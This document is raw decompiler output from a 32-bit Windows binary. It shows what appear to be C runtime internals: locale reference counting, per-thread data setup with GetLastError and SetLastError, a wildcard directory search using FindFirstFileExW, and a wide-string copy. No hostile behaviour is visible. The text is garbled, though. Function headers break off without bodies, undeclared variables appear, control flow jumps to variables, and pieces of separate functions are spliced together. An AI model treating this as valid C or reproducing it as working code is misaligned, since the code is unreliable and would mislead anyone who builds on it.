eax62 = eax24 - 1 - 1;
if (!eax62)
goto addr_408b26_3;
if (eax62 - 1 - 1)
goto addr_408b51_6;
goto addr_408b1b_10;
}
int32_t fun_40c86c(void** ecx, void** a2, void** a3, void** a4, void** a5) {
goto IsProcessorFeaturePresent;
}
void fun_40603c(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6) {
int32_t eax7;
void** esi8;
void** fun_405e62(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7,
void** a8) {
void* ebp9;
uint32_t eax10;
void** edi11;
void** v12;
void** v13;
void** v14;
void** v15;
void** v16;
void** v17;
void** v18;
void** v19;
void** v20;
void** v21;
void** v22;
void** v23;
void** v24;
void** v25;
void** v26;
void** v27;
void** v28;
void** v29;
void** v30;
void** v31;
void** v32;
void** v33;
void** v34;
void** v35;
void** v36;
void** v37;
void** v38;
void** v39;
void** v40;
void** v41;
void** v42;
void** v43;
void** v44;
void** v45;
void** v46;
void** v47;
void** v48;
void** v49;
void** v50;
void** v51;
void** v52;
void** v53;
void** v54;
void** v55;
void** v56;
void** v57;
void** v58;
void** v59;
void** v60;
void** v61;
void** v62;
void** v63;
void** v64;
void** v65;
void** v66;
void** v67;
void** v68;
void** v69;
void** v70;
void** v71;
void** v72;
void** v73;
void** v74;
void** v75;
void** v76;
void** v77;
void** v78;
void** v79;
void** v80;
void** v81;
void** v82;
void** v83;
void** v84;
void** v85;
void** v86;
void** v87;
void** v88;
void** v89;
int32_t eax90;
int32_t eax91;
uint32_t ecx92;
void** v93;
int32_t v94;
void** eax95;
ecx3 = a2;
eax4 = 0;
do {
if (ecx3 == *reinterpret_cast<void***>(eax4 * 8 + 0x40ee28))
break;
++eax4;
} while (eax4 < 45);
goto addr_406088_4;
return *reinterpret_cast<void***>(eax4 * 8 + 0x40ee2c);
addr_406088_4:
if (reinterpret_cast<uint32_t>(ecx3 + 0xffffffed) > 17) {
eax5 = reinterpret_cast<void*>(ecx3 + 0xffffff44);
return (reinterpret_cast<uint32_t>(eax5) - (reinterpret_cast<uint32_t>(eax5) +
reinterpret_cast<uint1_t>(reinterpret_cast<uint32_t>(eax5) < reinterpret_cast<uint32_t>(eax5) +
reinterpret_cast<uint1_t>(14 < reinterpret_cast<uint32_t>(eax5)))) & 14) + 8;
} else {
return 13;
}
}
int32_t g416ec0;
signed char fun_40652f(void** ecx, void** a2, void** a3, void** a4) {
void*** ebp5;
void** v6;
uint32_t eax7;
void** v8;
int32_t ecx9;
void** esi10;
void** eax11;
void* v12;
int32_t eax13;
void** ebp14;
void** eax15;
struct s26 {
signed char[8] pad8;
void*** f8;
};
struct s27 {
signed char[12] pad12;
void** fc;
};
void** fun_406913(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6);
void fun_4065ec(void** ecx, void** a2, void* a3, void* a4, int32_t a5, int32_t a6) {
void** v7;
struct s26* ebp8;
int32_t ebp9;
void** ecx10;
struct s27* ebp11;
void** v12;
void** v13;
int32_t ebp14;
void fun_406730(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7,
void** a8, void** a9, void** a10, void** a11, void** a12, void* a13);
void fun_406780(void** ecx, int32_t a2, void* a3, void** a4, void** a5, void** a6, void** a7,
void** a8, void** a9, void** a10, void** a11, void** a12, void** a13, void** a14, void* a15);
void fun_40686a(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7,
void** a8, void** a9, void** a10, void** a11, void** a12) {
void** v13;
void** ebp14;
void*** ebp15;
void** v16;
void** eax17;
void** ecx18;
void** v19;
void** v20;
void** v21;
void** v22;
void** v23;
void** v24;
void** v25;
void** v26;
void** v27;
void** v28;
v13 = ebp14;
ebp15 = reinterpret_cast<void***>(reinterpret_cast<int32_t>(__zero_stack_offset()) - 4);
v16 = ecx;
eax17 = a2;
ecx18 = *reinterpret_cast<void***>(eax17);
if (ecx18 != 0x40ece8) {
fun_406c46(ecx18, ecx18, v16, v13, __return_address(), a2, a3, a4, a5, a6, a7, a8, a9,
a10, a11, a12);
eax17 = a2;
ecx18 = ecx18;
}
v19 = *reinterpret_cast<void***>(eax17 + 60);
fun_406c46(ecx18, v19, v16, v13, __return_address(), a2, a3, a4, a5, a6, a7, a8, a9, a10,
a11, a12);
v20 = *reinterpret_cast<void***>(a2 + 48);
fun_406c46(ecx18, v20, v19, v16, v13, __return_address(), a2, a3, a4, a5, a6, a7, a8, a9,
a10, a11);
v21 = *reinterpret_cast<void***>(a2 + 52);
fun_406c46(ecx18, v21, v20, v19, v16, v13, __return_address(), a2, a3, a4, a5, a6, a7, a8,
a9, a10);
v22 = *reinterpret_cast<void***>(a2 + 56);
fun_406c46(ecx18, v22, v21, v20, v19, v16, v13, __return_address(), a2, a3, a4, a5, a6, a7,
a8, a9);
v23 = *reinterpret_cast<void***>(a2 + 40);
fun_406c46(ecx18, v23, v22, v21, v20, v19, v16, v13, __return_address(), a2, a3, a4, a5, a6,
a7, a8);
v24 = *reinterpret_cast<void***>(a2 + 44);
fun_406c46(ecx18, v24, v23, v22, v21, v20, v19, v16, v13, __return_address(), a2, a3, a4,
a5, a6, a7);
v25 = *reinterpret_cast<void***>(a2 + 64);
fun_406c46(ecx18, v25, v24, v23, v22, v21, v20, v19, v16, v13, __return_address(), a2, a3,
a4, a5, a6);
v26 = *reinterpret_cast<void***>(a2 + 68);
fun_406c46(ecx18, v26, v25, v24, v23, v22, v21, v20, v19, v16, v13, __return_address(), a2,
a3, a4, a5);
v27 = *reinterpret_cast<void***>(a2 + 0x360);
fun_406c46(ecx18, v27, v26, v25, v24, v23, v22, v21, v20, v19, v16, v13, __return_address(),
a2, a3, a4);
v28 = reinterpret_cast<void**>(ebp15 + 0xfffffffc);
fun_406730(ecx18, 5, v28, v27, v26, v25, v24, v23, v22, v21, v20, v19, ebp15 + 8);
fun_406780(ecx18, 4, ebp15 - 4, 5, v28, v27, v26, v25, v24, v23, v22, v21, v20, v19, ebp15 +
8);
return;
}
void fun_40663c(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7,
void** a8, void** a9, void** a10, void** a11, void** a12);
void fun_406730(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7,
void** a8, void** a9, void** a10, void** a11, void** a12, void* a13) {
void*** ebp14;
void** v15;
void** ebp16;
void fun_40669d(void** ecx, void** a2, void* a3, void* a4, int32_t a5, int32_t a6);
void fun_406780(void** ecx, int32_t a2, void* a3, void** a4, void** a5, void** a6, void** a7,
void** a8, void** a9, void** a10, void** a11, void** a12, void** a13, void** a14, void* a15) {
void* ebp16;
void** g417244;
void** fun_406913(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6) {
void** v7;
int1_t zf8;
void** v9;
void** esi10;
void** ebp11;
void** eax12;
eax3 = a2;
if (eax3) {
*reinterpret_cast<void***>(eax3 + 12) = *reinterpret_cast<void***>(eax3 + 12) - 1;
if (*reinterpret_cast<void***>(eax3 + 0x7c)) {
*reinterpret_cast<void***>(*reinterpret_cast<void***>(eax3 + 0x7c)) =
*reinterpret_cast<void***>(*reinterpret_cast<void***>(eax3 + 0x7c)) - 1;
}
if (*reinterpret_cast<void***>(eax3 + 0x84)) {
*reinterpret_cast<void***>(*reinterpret_cast<void***>(eax3 + 0x84)) =
*reinterpret_cast<void***>(*reinterpret_cast<void***>(eax3 + 0x84)) - 1;
}
if (*reinterpret_cast<void***>(eax3 + 0x80)) {
*reinterpret_cast<void***>(*reinterpret_cast<void***>(eax3 + 0x80)) =
*reinterpret_cast<void***>(*reinterpret_cast<void***>(eax3 + 0x80)) - 1;
}
if (*reinterpret_cast<void***>(eax3 + 0x8c)) {
*reinterpret_cast<void***>(*reinterpret_cast<void***>(eax3 + 0x8c)) =
*reinterpret_cast<void***>(*reinterpret_cast<void***>(eax3 + 0x8c)) - 1;
}
ecx4 = reinterpret_cast<void***>(eax3 + 40);
esi5 = 6;
do {
if (*reinterpret_cast<int32_t*>(ecx4 - 8) != "C" && *ecx4) {
*reinterpret_cast<void***>(*ecx4) = *reinterpret_cast<void***>(*ecx4) - 1;
}
if (*reinterpret_cast<int32_t*>(ecx4 - 12) && *(ecx4 - 4)) {
*reinterpret_cast<void***>(*(ecx4 - 4)) = *reinterpret_cast<void***>(*(ecx4 - 4)) - 1;
}
ecx4 = ecx4 + 16;
--esi5;
} while (esi5);
v6 = *reinterpret_cast<void***>(eax3 + 0x9c);
eax3 = fun_408607(v6);
}
return eax3;
}
void** fun_407f90(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7,
void** a8, void** a9, void** a10, void** a11, void** a12);
void** fun_40808e(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7,
void** a8, void** a9, void** a10, void** a11, void** a12);
void** fun_4085d7(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7,
void** a8, void** a9, void** a10, void** a11);
void** fun_408464(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7,
void** a8, void** a9) {
void** v10;
void** v11;
void** ebp12;
void** v13;
void** v14;
void** ebx15;
void** v16;
void** esi17;
void** esi18;
void** v19;
void** edi20;
void** v21;
void** v22;
void** v23;
void** v24;
void** v25;
void** v26;
void** v27;
void** v28;
void** v29;
void** v30;
void** v31;
void** ecx32;
void** eax33;
void*** ebx34;
void** v35;
void*** edi36;
void** v37;
void** v38;
void** v39;
void** eax40;
v10 = reinterpret_cast<void**>(__return_address());
v11 = ebp12;
v13 = ecx;
v14 = ebx15;
v16 = esi17;
esi18 = a2;
v19 = edi20;
if (*reinterpret_cast<void***>(esi18 + 0x88) && (*reinterpret_cast<void***>(esi18 + 0x88) !=
"DfA" && (*reinterpret_cast<void***>(esi18 + 0x7c) &&
!*reinterpret_cast<void***>(*reinterpret_cast<void***>(esi18 + 0x7c))))) {
if (*reinterpret_cast<void***>(esi18 + 0x84) &&
!*reinterpret_cast<void***>(*reinterpret_cast<void***>(esi18 + 0x84))) {
v21 = *reinterpret_cast<void***>(esi18 + 0x84);
fun_406c46(ecx, v21, v19, v16, v14, v13, v11, v10, a2, a3, a4, a5, a6, a7, a8, a9);
v22 = *reinterpret_cast<void***>(esi18 + 0x88);
fun_407f90(ecx, v22, v21, v19, v16, v14, v13, v11, v10, a2, a3, a4);
ecx = v21;
}
if (*reinterpret_cast<void***>(esi18 + 0x80) &&
!*reinterpret_cast<void***>(*reinterpret_cast<void***>(esi18 + 0x80))) {
v23 = *reinterpret_cast<void***>(esi18 + 0x80);
fun_406c46(ecx, v23, v19, v16, v14, v13, v11, v10, a2, a3, a4, a5, a6, a7, a8, a9);
v24 = *reinterpret_cast<void***>(esi18 + 0x88);
fun_40808e(ecx, v24, v23, v19, v16, v14, v13, v11, v10, a2, a3, a4);
ecx = v23;
}
v25 = *reinterpret_cast<void***>(esi18 + 0x7c);
fun_406c46(ecx, v25, v19, v16, v14, v13, v11, v10, a2, a3, a4, a5, a6, a7, a8, a9);
v26 = *reinterpret_cast<void***>(esi18 + 0x88);
fun_406c46(ecx, v26, v25, v19, v16, v14, v13, v11, v10, a2, a3, a4, a5, a6, a7, a8);
ecx = v25;
}
if (*reinterpret_cast<void***>(esi18 + 0x8c) &&
!*reinterpret_cast<void***>(*reinterpret_cast<void***>(esi18 + 0x8c))) {
v27 = reinterpret_cast<void**>(reinterpret_cast<int32_t>(*reinterpret_cast<void**>(esi18 +
0x90)) - 0xfe);
fun_406c46(ecx, v27, v19, v16, v14, v13, v11, v10, a2, a3, a4, a5, a6, a7, a8, a9);
v28 = reinterpret_cast<void**>(reinterpret_cast<int32_t>(*reinterpret_cast<void**>(esi18 +
0x94)) - 0x80);
fun_406c46(ecx, v28, v27, v19, v16, v14, v13, v11, v10, a2, a3, a4, a5, a6, a7, a8);
v29 = reinterpret_cast<void**>(reinterpret_cast<int32_t>(*reinterpret_cast<void**>(esi18 +
0x98)) - 0x80);
fun_406c46(ecx, v29, v28, v27, v19, v16, v14, v13, v11, v10, a2, a3, a4, a5, a6, a7);
v30 = *reinterpret_cast<void***>(esi18 + 0x8c);
fun_406c46(ecx, v30, v29, v28, v27, v19, v16, v14, v13, v11, v10, a2, a3, a4, a5, a6);
}
v31 = *reinterpret_cast<void***>(esi18 + 0x9c);
fun_4085d7(ecx, v31, v19, v16, v14, v13, v11, v10, a2, a3, a4);
ecx32 = v31;
eax33 = reinterpret_cast<void**>(6);
ebx34 = reinterpret_cast<void***>(esi18 + 0xa0);
v35 = reinterpret_cast<void**>(6);
edi36 = reinterpret_cast<void***>(esi18 + 40);
do {
if (*reinterpret_cast<int32_t*>(edi36 - 8) != "C") {
if (*edi36 && !*reinterpret_cast<void***>(*edi36)) {
v37 = *edi36;
fun_406c46(ecx32, v37, v19, v16, v14, v35, v11, v10, a2, a3, a4, a5, a6, a7, a8, a9);
v38 = *ebx34;
fun_406c46(ecx32, v38, v37, v19, v16, v14, v35, v11, v10, a2, a3, a4, a5, a6, a7, a8);
ecx32 = v37;
}
eax33 = v35;
}
if (*reinterpret_cast<int32_t*>(edi36 - 12)) {
if (*(edi36 - 4) && !*reinterpret_cast<void***>(*(edi36 - 4))) {
v39 = *(edi36 - 4);
fun_406c46(ecx32, v39, v19, v16, v14, v35, v11, v10, a2, a3, a4, a5, a6, a7, a8, a9);
ecx32 = v39;
}
eax33 = v35;
}
ebx34 = ebx34 + 4;
edi36 = edi36 + 16;
--eax33;
v35 = eax33;
} while (eax33);
eax40 = fun_406c46(ecx32, esi18, v19, v16, v14, v35, v11, v10, a2, a3, a4, a5, a6, a7, a8,
a9);
return eax40;
}
eax3 = a2;
*reinterpret_cast<void***>(eax3 + 12) = *reinterpret_cast<void***>(eax3 + 12) + 1;
if (*reinterpret_cast<void***>(eax3 + 0x7c)) {
*reinterpret_cast<void***>(*reinterpret_cast<void***>(eax3 + 0x7c)) =
*reinterpret_cast<void***>(*reinterpret_cast<void***>(eax3 + 0x7c)) + 1;
}
if (*reinterpret_cast<void***>(eax3 + 0x84)) {
*reinterpret_cast<void***>(*reinterpret_cast<void***>(eax3 + 0x84)) =
*reinterpret_cast<void***>(*reinterpret_cast<void***>(eax3 + 0x84)) + 1;
}
if (*reinterpret_cast<void***>(eax3 + 0x80)) {
*reinterpret_cast<void***>(*reinterpret_cast<void***>(eax3 + 0x80)) =
*reinterpret_cast<void***>(*reinterpret_cast<void***>(eax3 + 0x80)) + 1;
}
if (*reinterpret_cast<void***>(eax3 + 0x8c)) {
*reinterpret_cast<void***>(*reinterpret_cast<void***>(eax3 + 0x8c)) =
*reinterpret_cast<void***>(*reinterpret_cast<void***>(eax3 + 0x8c)) + 1;
}
ecx4 = reinterpret_cast<void***>(eax3 + 40);
esi5 = 6;
do {
if (*reinterpret_cast<int32_t*>(ecx4 - 8) != "C" && *ecx4) {
*reinterpret_cast<void***>(*ecx4) = *reinterpret_cast<void***>(*ecx4) + 1;
}
if (*reinterpret_cast<int32_t*>(ecx4 - 12) && *(ecx4 - 4)) {
*reinterpret_cast<void***>(*(ecx4 - 4)) = *reinterpret_cast<void***>(*(ecx4 - 4)) + 1;
}
ecx4 = ecx4 + 16;
--esi5;
} while (esi5);
v6 = *reinterpret_cast<void***>(eax3 + 0x9c);
eax7 = fun_4085ae(v6);
return eax7;
}
void** fun_4062be(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6);
void** fun_40695e(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7,
void** a8, void** a9, void** a10, void** a11, void** a12) {
void** v13;
void** esi14;
void** eax15;
void** eax16;
void** edi17;
void** eax18;
void** eax19;
void** v20;
void** eax21;
void** v22;
void** v23;
void** eax24;
void** ebx25;
void** eax26;
void** eax27;
void** v28;
void** eax29;
void** v30;
void** v31;
v13 = esi14;
eax15 = reinterpret_cast<void**>(GetLastError());
eax16 = g416058;
if (eax16 == 0xffffffff)
goto addr_406980_2;
eax18 = fun_4062be(ecx, eax16, edi17, v13, __return_address(), a2);
if (eax18)
goto addr_4069c9_4;
addr_406980_2:
eax19 = fun_406be9(ecx, 1, 0x364, edi17, v13, __return_address(), a2, a3);
ecx = reinterpret_cast<void**>(0x364);
if (eax19) {
v20 = g416058;
eax21 = fun_406314(0x364, v20, eax19);
if (eax21) {
fun_4067d0(0x364, eax19, 0x417244);
fun_406c46(0x364, 0, eax19, 0x7244, edi17, v13, __return_address(), a2, a3, a4, a5,
a6, a7, a8, a9, a10);
if (!eax19) {
addr_4069d5_7:
v22 = eax15;
SetLastError(ecx, v22);
fun_405ccd(ecx, v22, edi17, v13, __return_address(), a2, a3);
} else {
addr_4069c9_4:
SetLastError(ecx);
goto v13;
}
v23 = eax15;
GetLastError(ecx);
eax24 = g416058;
if (eax24 == 0xffffffff)
goto addr_406a07_9;
eax26 = fun_4062be(ecx, eax24, eax19, v23, ebx25, v22);
if (eax26)
goto addr_406a58_11;
addr_406a07_9:
eax27 = fun_406be9(ecx, 1, 0x364, eax19, v23, ebx25, v22, edi17);
ecx = reinterpret_cast<void**>(0x364);
if (eax27) {
v28 = g416058;
eax29 = fun_406314(0x364, v28, eax27);
if (eax29) {
fun_4067d0(0x364, eax27, 0x417244);
fun_406c46(0x364, 0, eax27, 0x7244, eax19, v23, ebx25, v22, edi17, v13,
__return_address(), a2, a3, a4, a5, a6);
if (eax27) {
addr_406a58_11:
SetLastError(ecx);
} else {
addr_406a4f_14:
SetLastError(ecx);
}
goto ebx25;
} else {
v30 = eax27;
}
} else {
v30 = reinterpret_cast<void**>(0);
}
fun_406c46(0x364, v30, eax19, v23, ebx25, v22, edi17, v13, __return_address(), a2, a3,
a4, a5, a6, a7, a8);
ecx = v30;
goto addr_406a4f_14;
} else {
v31 = eax19;
}
} else {
v31 = eax19;
}
fun_406c46(0x364, v31, edi17, v13, __return_address(), a2, a3, a4, a5, a6, a7, a8, a9, a10,
a11, a12);
ecx = v31;
goto addr_4069d5_7;
}
void** fun_4062be(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6) {
void*** ebp7;
uint32_t eax8;
void** v9;
void** esi10;
void** eax11;
void** ebp12;
void** eax13;
eax3 = g416058;
if (eax3 != 0xffffffff) {
eax3 = fun_406268(ecx, eax3, __return_address(), a2);
g416058 = reinterpret_cast<void**>(0xffffffff);
}
*reinterpret_cast<signed char*>(&eax3) = 1;
return eax3;
}
void** fun_4088ef(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6) {
void*** ebp7;
uint32_t eax8;
void** v9;
void** esi10;
int32_t eax11;
int32_t eax12;
void** ebp13;
void** eax14;
eax3 = a1;
if (!*reinterpret_cast<void***>(eax3)) {
addr_4082a3_2:
eax3 = reinterpret_cast<void**>(0);
} else {
esi4 = a2;
edi5 = reinterpret_cast<uint16_t>(*reinterpret_cast<void***>(esi4));
do {
ecx6 = esi4;
if (*reinterpret_cast<int16_t*>(&edi5)) {
ebx7 = reinterpret_cast<uint16_t>(*reinterpret_cast<void***>(eax3));
edx8 = edi5;
do {
if (*reinterpret_cast<int16_t*>(&edx8) == *reinterpret_cast<int16_t*>(&ebx7))
goto addr_4082a5_7;
ecx6 = ecx6 + 2;
edx8 = reinterpret_cast<uint16_t>(*reinterpret_cast<void***>(ecx6));
} while (*reinterpret_cast<int16_t*>(&edx8));
}
eax3 = eax3 + 2;
} while (*reinterpret_cast<void***>(eax3));
goto addr_4082a3_2;
}
addr_4082a5_7:
return eax3;
}
void** fun_406bde(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6);
void** fun_4070de(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7,
void** a8, void** a9, void** a10, void** a11, void** a12, void** a13, void** a14, void** a15, void**
a16, void** a17, void** a18, void** a19, void** a20, void** a21, void** a22);
int32_t g4;
void** fun_4095c0(void** a1, void* a2, void** a3, void** a4, int32_t a5, void* a6, void** a7,
void** a8, void** a9, void** a10, void** a11, void** a12);
void** fun_406e65(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7,
void** a8, void** a9, void** a10, void** a11, void** a12, void** a13, void** a14, void** a15, ...) {
void** v16;
void** v17;
void** ebp18;
void** ecx19;
void** v20;
void** ebx21;
void*** esp22;
void** v23;
void** edi24;
void** edx25;
void** ecx26;
void** v27;
void** v28;
void** esi29;
void** ebx30;
void** eax31;
void* esp32;
void** eax33;
void** eax34;
void* ebp35;
uint32_t eax36;
uint32_t v37;
void** ecx38;
void** v39;
void** v40;
void** v41;
void** v42;
uint32_t eax43;
uint32_t esi44;
void** eax45;
void** eax46;
uint32_t eax47;
int32_t eax48;
uint32_t eax49;
void** ecx50;
uint32_t eax51;
void** v52;
void** v53;
void** v54;
void** v55;
void** v56;
void** v57;
void** v58;
void** v59;
void** v60;
void** v61;
void** v62;
void** v63;
void** v64;
void** v65;
void** v66;
void** v67;
void** v68;
void** v69;
void** v70;
void** v71;
void** v72;
void** v73;
void** v74;
void** v75;
void** v76;
void** v77;
void** v78;
void** v79;
void** v80;
void** v81;
void** v82;
void** v83;
void** v84;
int32_t eax85;
int32_t esi86;
int32_t eax87;
uint32_t eax88;
void** v89;
int16_t v90;
int16_t v91;
int16_t v92;
int16_t v93;
void** eax94;
void* v95;
int32_t eax96;
void** v97;
void** v98;
void** v99;
void** v100;
void** v101;
void** edx102;
int32_t eax103;
void** eax104;
void** v105;
void** v106;
void** v107;
void** v108;
void** v109;
v16 = reinterpret_cast<void**>(__return_address());
v17 = ebp18;
ecx19 = a2;
v20 = ebx21;
esp22 = reinterpret_cast<void***>(reinterpret_cast<int32_t>(__zero_stack_offset()) - 4 - 4 - 4
- 4);
v23 = edi24;
edx25 = ecx19 + 2;
do {
ecx19 = ecx19 + 2;
} while (*reinterpret_cast<void***>(ecx19));
ecx26 = reinterpret_cast<void**>((reinterpret_cast<int32_t>(reinterpret_cast<unsigned
char>(ecx19) - reinterpret_cast<unsigned char>(edx25)) >> 1) + 1);
v27 = ecx26;
if (reinterpret_cast<unsigned char>(ecx26) <= reinterpret_cast<unsigned char>(-1 -
reinterpret_cast<unsigned char>(a4))) {
v28 = esi29;
ebx30 = reinterpret_cast<void**>(reinterpret_cast<unsigned char>(a4 + 1) +
reinterpret_cast<unsigned char>(ecx26));
eax31 = fun_406be9(ecx26, ebx30, 2, v28, v23, v20, v27, v17);
esp32 = reinterpret_cast<void*>(esp22 - 4 - 4 - 4 - 4 + 4 + 4 + 4);
if (a4 && (eax33 = fun_406bde(2, eax31, ebx30, a3, a4, v28), esp32 =
reinterpret_cast<void*>(reinterpret_cast<int32_t>(esp32) - 4 - 4 - 4 - 4 - 4 + 4 + 16), !!eax33) ||
(ebx30 = reinterpret_cast<void**>(reinterpret_cast<unsigned char>(ebx30) -
reinterpret_cast<unsigned char>(a4)), eax34 = fun_406bde(2, eax31 +
reinterpret_cast<unsigned char>(a4) * 2, ebx30, a2, v27, v28), esp32 =
reinterpret_cast<void*>(reinterpret_cast<int32_t>(esp32) - 4 - 4 - 4 - 4 - 4 + 4 + 16), !!eax34)) {
fun_40603c(2, 0, 0, 0, 0, 0);
ebp35 = reinterpret_cast<void*>(reinterpret_cast<int32_t>(esp32) - 4 - 4 - 4 - 4 - 4 - 4 +
4 - 4);
eax36 = g416004;
v37 = eax36 ^ reinterpret_cast<uint32_t>(ebp35);
ecx38 = reinterpret_cast<void**>(0);
v39 = ebx30;
v40 = eax31;
v41 = a4;
v42 = reinterpret_cast<void**>(47);
while (ecx38 && ((eax43 =
reinterpret_cast<uint16_t>(*reinterpret_cast<void***>(ecx38)),
*reinterpret_cast<int16_t*>(&eax43) != 47) && (*reinterpret_cast<int16_t*>(&eax43) != 92 &&
*reinterpret_cast<int16_t*>(&eax43) != 58))) {
ecx38 = ecx38 - 2;
}
esi44 = reinterpret_cast<uint16_t>(*reinterpret_cast<void***>(ecx38));
if (*reinterpret_cast<int16_t*>(&esi44) != 58)
goto addr_406f7b_10;
if (ecx38 != 2)
goto addr_406f68_12;
} else {
eax45 = fun_4070de(a5, eax31, v28, v23, v20, v27, v17, v16, a2, a3, a4, a5, a6, a7, a8,
a9, a10, a11, a12, a13, a14, a15);
fun_406c46(a5, 0, v28, v23, v20, v27, v17, v16, a2, a3, a4, a5, a6, a7, a8, a9);
eax46 = eax45;
goto addr_406ef0_14;
}
} else {
eax46 = reinterpret_cast<void**>(12);
goto addr_406ef0_14;
}
addr_406f7b_10:
eax47 = esi44;
if (*reinterpret_cast<int16_t*>(&eax47) == 47 || (*reinterpret_cast<int16_t*>(&eax47) == 92 ||
*reinterpret_cast<int16_t*>(&eax47) == 58)) {
eax48 = 1;
} else {
eax48 = 0;
}
eax49 = *reinterpret_cast<unsigned char*>(&eax48);
ecx50 = reinterpret_cast<void**>((reinterpret_cast<signed
char>(static_cast<uint32_t>(reinterpret_cast<unsigned char>(ecx38))) >> 1) + 1);
eax51 = -eax49;
v42 = reinterpret_cast<void**>(eax51 - (eax51 + reinterpret_cast<uint1_t>(eax51 < eax51 +
reinterpret_cast<uint1_t>(!!eax49))) & reinterpret_cast<unsigned char>(ecx50));
fun_403de0(ecx50, reinterpret_cast<uint32_t>(ebp35) + 0xfffffdac, 0, 0x250, v41, v40, v39,
v52, v42, 0, v53, v54, v55, v56, v57, v58, v59, v60, v61, v62, v63, v64, v65, v66, v67, v68, v69,
v70, v71, v72, v73, v74, v75, v76, v77, v78, v79, v80, v81, v82, v83);
v84 = reinterpret_cast<void**>(reinterpret_cast<uint32_t>(ebp35) + 0xfffffdac);
eax85 = reinterpret_cast<int32_t>(FindFirstFileExW(0, 0, v84, 0, 0, 0));
esi86 = eax85;
if (esi86 != -1) {
eax87 = g4;
eax88 = eax87 - reinterpret_cast<unsigned char>(g0);
v89 = reinterpret_cast<void**>(reinterpret_cast<int32_t>(eax88) >> 2);
do {
if (v90 != 46)
goto addr_40704e_21;
if (!v91)
continue;
if (v92 != 46)
goto addr_40704e_21;
if (!v93)
continue;
addr_40704e_21:
eax94 = fun_406e65(0, reinterpret_cast<uint32_t>(ebp35) + 0xfffffdd8, 0, v42, 0, 0, 0,
v84, 0, 0, 0, v41, v40, v39, v89);
if (eax94)
break;
v95 = reinterpret_cast<void*>(reinterpret_cast<uint32_t>(ebp35) + 0xfffffdac);
eax96 = reinterpret_cast<int32_t>(FindNextFileW(esi86, v95, 0, 0, v84, 0, 0, 0));
} while (eax96);
goto addr_407084_26;
} else {
fun_406e65(ecx50, 0, 0, 0, 0, 0, 0, v84, 0, 0, 0, v41, v40, v39, v97);
}
addr_406ff4_29:
if (esi86 != -1) {
FindClose(esi86, 0, 0, v84, 0, 0, 0);
}
addr_407002_32:
fun_402f62(v37 ^ reinterpret_cast<uint32_t>(ebp35), v89, v42, 0, v98, v99, v100, v101);
goto 0;
addr_407084_26:
edx102 = g0;
eax103 = g4;
eax104 = reinterpret_cast<void**>(reinterpret_cast<int32_t>(eax103 -
reinterpret_cast<unsigned char>(edx102)) >> 2);
if (v89 != eax104) {
fun_4095c0(edx102 + reinterpret_cast<unsigned char>(v89) * 4, reinterpret_cast<unsigned
char>(eax104) - reinterpret_cast<unsigned char>(v89), 4, fun_406c80, esi86, v95, 0, 0, v84, 0,
0, 0);
goto addr_406ff4_29;
}
addr_406f68_12:
fun_406e65(ecx38, 0, 0, 0, 0, v41, v40, v39, v105, 47, 0, v106, v107, v108, v109);
goto addr_407002_32;
addr_406ef0_14:
return eax46;
}
void** fun_406bde(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6) {
void** v7;
void** v8;
void** ebp9;
void** v10;
void** edx11;
void** ecx12;
void** v13;
void** esi14;
void** eax15;
void** v16;
void** eax17;
void* esi18;
void** ebx19;
void** edi20;
uint32_t eax21;
int1_t zf22;
uint32_t eax23;
v7 = reinterpret_cast<void**>(__return_address());
v8 = ebp9;
v10 = ecx;
edx11 = a5;
ecx12 = a2;
v13 = esi14;
if (edx11) {
if (!ecx12)
goto addr_406b51_4;
} else {
if (!ecx12) {
if (a3 != ecx12)
goto addr_406b51_4; else
goto addr_406b2b_7;
}
}
if (!a3) {
addr_406b51_4:
eax15 = fun_4060e8(ecx12, v13, v10, v8, v7, a2, a3, a4, a5, a6);
v16 = reinterpret_cast<void**>(22);
} else {
if (!edx11) {
*reinterpret_cast<void***>(ecx12) = reinterpret_cast<void**>(0);
goto addr_406b2b_7;
}
if (a4)
goto addr_406b67_12; else
goto addr_406b4c_13;
}
addr_406b58_14:
*reinterpret_cast<void***>(eax15) = v16;
fun_40602c(ecx12, v13, v10, v8, v7);
eax17 = v16;
addr_406b62_15:
return eax17;
addr_406b67_12:
esi18 = reinterpret_cast<void*>(reinterpret_cast<unsigned char>(a4) -
reinterpret_cast<unsigned char>(ecx12));
ebx19 = a3;
edi20 = ecx12;
if (!reinterpret_cast<int1_t>(edx11 == 0xffffffff)) {
do {
eax21 = *reinterpret_cast<uint16_t*>(reinterpret_cast<uint32_t>(esi18) +
reinterpret_cast<unsigned char>(edi20));
*reinterpret_cast<void***>(edi20) = *reinterpret_cast<void***>(&eax21);
edi20 = edi20 + 2;
if (!*reinterpret_cast<void***>(&eax21))
break;
--ebx19;
} while (ebx19 && (--edx11, !!edx11));
zf22 = edx11 == 0;
edx11 = a5;
if (zf22)
goto addr_406baa_19;
} else {
do {
eax23 = *reinterpret_cast<uint16_t*>(reinterpret_cast<uint32_t>(esi18) +
reinterpret_cast<unsigned char>(edi20));
*reinterpret_cast<void***>(edi20) = *reinterpret_cast<void***>(&eax23);
edi20 = edi20 + 2;
if (!*reinterpret_cast<void***>(&eax23))
break;
--ebx19;
} while (ebx19);
goto addr_406b88_22;
}
addr_406baf_23:
if (ebx19) {
addr_406b2b_7:
eax17 = reinterpret_cast<void**>(0);
goto addr_406b62_15;
} else {
if (!reinterpret_cast<int1_t>(edx11 == 0xffffffff)) {
